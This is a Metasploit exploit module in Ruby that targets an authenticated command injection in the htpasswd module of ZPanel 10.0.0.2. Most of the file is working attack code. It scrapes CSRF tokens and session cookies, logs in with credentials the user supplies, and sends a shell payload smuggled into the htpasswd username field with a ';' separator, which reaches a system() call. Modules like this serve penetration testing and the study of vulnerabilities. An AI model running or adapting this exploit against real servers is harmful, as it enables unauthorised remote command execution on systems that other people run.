ZPanel 10.0.0.2 htpasswd Module Username Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ZPanel 10.0.0.2 htpasswd Module Username Command Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in ZPanel's htpasswd module. When
        creating .htaccess using the htpasswd module, the username field can be used to
        inject system commands, which is passed on to a system() function for executing
        the system's htpasswd command.

        Please note: In order to use this module, you must have a valid account to login
        to ZPanel.  An account part of any of the default groups should suffice, such as:
        Administrators, Resellers, or Users (Clients).  By default, there's already a
        'zadmin' user, but the password is randomly generated.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'shachibista',  # Original discovery
          'sinn3r'        # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '94038'],
          ['URL', 'https://github.com/bobsta63/zpanelx/commit/fe9cec7a8164801e2b3755b7abeabdd607f97906'],
          ['URL', 'http://forums.zpanelcp.com/showthread.php?27898-Serious-Remote-Execution-Exploit-in-Zpanel-10-0-0-2']
        ],
      'Arch'           => ARCH_CMD,
      'Platform'       => 'unix',
      'Targets'        =>
        [
          [ 'ZPanel 10.0.0.2 on Linux', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-06-07',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to ZPanel', '/']),
        OptString.new('USERNAME', [true, 'The username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with'])
      ])
  end

  def check
    res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.body =~ /This server is running: ZPanel/
      return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Safe
  end


  def login(base, token, cookie)
    res  = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(base, 'index.php'),
      'cookie'    => cookie,
      'vars_post' => {
        'inUsername' => datastore['USERNAME'],
        'inPassword' => datastore['PASSWORD'],
        'sublogin2'  => 'LogIn',
        'csfr_token' => token
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Connection timed out")
    elsif res.body =~ /Application Error/ or res.headers['location'].to_s =~ /invalidlogin/
      fail_with(Failure::NoAccess, "#{peer} - Login failed")
    end

    res.get_cookies.scan(/(zUserSaltCookie=[a-z0-9]+)/).flatten[0] || ''
  end


  def get_csfr_info(base, path='index.php', cookie='', vars={})
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(base),
      'cookie'   => cookie,
      'vars_get' => vars
    })

    fail_with(Failure::Unknown, "#{peer} - Connection timed out while collecting CSFR token") if not res

    token = res.body.scan(/<input type="hidden" name="csfr_token" value="(.+)">/).flatten[0] || ''
    sid   = res.get_cookies.scan(/(PHPSESSID=[a-z0-9]+)/).flatten[0] || ''
    fail_with(Failure::Unknown, "#{peer} - No CSFR token collected") if token.empty?

    return token, sid
  end


  def exec(base, token, sid, user_salt_cookie)
    fake_pass = Rex::Text.rand_text_alpha(5)
    cookie    = "#{sid}; #{user_salt_cookie}"

    send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(base),
      'cookie'   => cookie,
      'vars_get' => {
        'module' => 'htpasswd',
        'action' => 'CreateHTA'
      },
      'vars_post' => {
        'inAuthName'          => 'Restricted+Area',
        'inHTUsername'        => ";#{payload.encoded} #",
        'inHTPassword'        => fake_pass,
        'inConfirmHTPassword' => fake_pass,
        'inPath'              => '/',
        'csfr_token'          => token
      }
    })
  end


  def exploit
    base = target_uri.path

    token, sid = get_csfr_info(base)
    vprint_status("Token=#{token}, SID=#{sid}")

    user_salt_cookie = login(base, token, sid)
    print_good("Logged in as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")

    vars = {'module'=>'htpasswd', 'selected'=>'Selected', 'path'=>'/'}
    cookie = "#{sid}; #{user_salt_cookie}"
    token = get_csfr_info(base, '', cookie, vars)[0]
    vprint_status("Token=#{token}, SID=#{sid}")


    print_status("Executing payload...")
    exec(base, token, sid, user_salt_cookie)
  end
end